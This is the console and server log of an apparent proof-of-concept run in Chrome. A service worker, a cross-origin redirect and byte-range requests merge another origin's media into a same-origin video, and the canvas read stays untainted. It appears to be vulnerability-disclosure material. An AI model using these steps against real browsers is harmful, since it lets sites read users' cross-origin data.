=== Chrome console output (stock ASAN build) === [3043:3043:0411/102641.018993:INFO:CONSOLE:7] "Reloading to acquire SW controller…", source: http://localhost:18080/index.html (7) [3043:3043:0411/102641.152169:INFO:CONSOLE:15] "[SW] fallthrough(default) http://localhost:18080/index.html", source: http://localhost:18080/sw.js (15) [3043:3043:0411/102641.318098:INFO:CONSOLE:7] "SW controller active.", source: http://localhost:18080/index.html (7) [3043:3043:0411/102641.318729:INFO:CONSOLE:7] "Step 1: load /v1 (SW falls through -> network 302 -> B/secret).", source: http://localhost:18080/index.html (7) [3043:3043:0411/102641.406259:INFO:CONSOLE:15] "[SW] fallthrough http://localhost:18080/v1", source: http://localhost:18080/sw.js (15) [3043:3043:0411/102641.462477:INFO:CONSOLE:15] "[SW] redirect -> /v2 http://127.0.0.1:18081/secret", source: http://localhost:18080/sw.js (15) [3043:3043:0411/102641.467850:INFO:CONSOLE:15] "[SW] serve basic http://localhost:18080/v2", source: http://localhost:18080/sw.js (15) [3043:3043:0411/102642.328727:INFO:CONSOLE:7] "Step 2: open /v2 in a sibling element and check taint.", source: http://localhost:18080/index.html (7) [3043:3043:0411/102642.367038:INFO:CONSOLE:7] " v2.videoWidth=1280 v2.videoHeight=720 (origin-A media is 320x240; origin-B secret is 1280x720)", source: http://localhost:18080/index.html (7) [3043:3043:0411/102642.367331:INFO:CONSOLE:7] " *** v2 decoded ORIGIN-B header from the merged buffer ***", source: http://localhost:18080/index.html (7) [3043:3043:0411/102642.972137:INFO:CONSOLE:7] " canvas getImageData on /v2: OK (NOT tainted) <-- bug", source: http://localhost:18080/index.html (7) [3043:3043:0411/102642.972360:INFO:CONSOLE:7] "Done. See stderr for [POC] log lines proving the cross-origin merge.", source: http://localhost:18080/index.html (7) === HTTP server log === Origin A on http://localhost:18080/ Origin B on http://127.0.0.1:18081/ [HandlerA] /index.html Range=None "GET /index.html HTTP/1.1" 200 - [HandlerA] /favicon.ico Range=None "GET /favicon.ico HTTP/1.1" 404 - [HandlerA] /sw.js Range=None "GET /sw.js HTTP/1.1" 200 - [HandlerA] /index.html Range=None "GET /index.html HTTP/1.1" 200 - [HandlerA] /v1 Range='bytes=0-' "GET /v1 HTTP/1.1" 302 - [HandlerB] /secret Range='bytes=0-' "GET /secret HTTP/1.1" 206 - [HandlerA] /v2 Range='bytes=32768-' "GET /v2 HTTP/1.1" 206 - [HandlerA] /sw.js Range=None "GET /sw.js HTTP/1.1" 200 -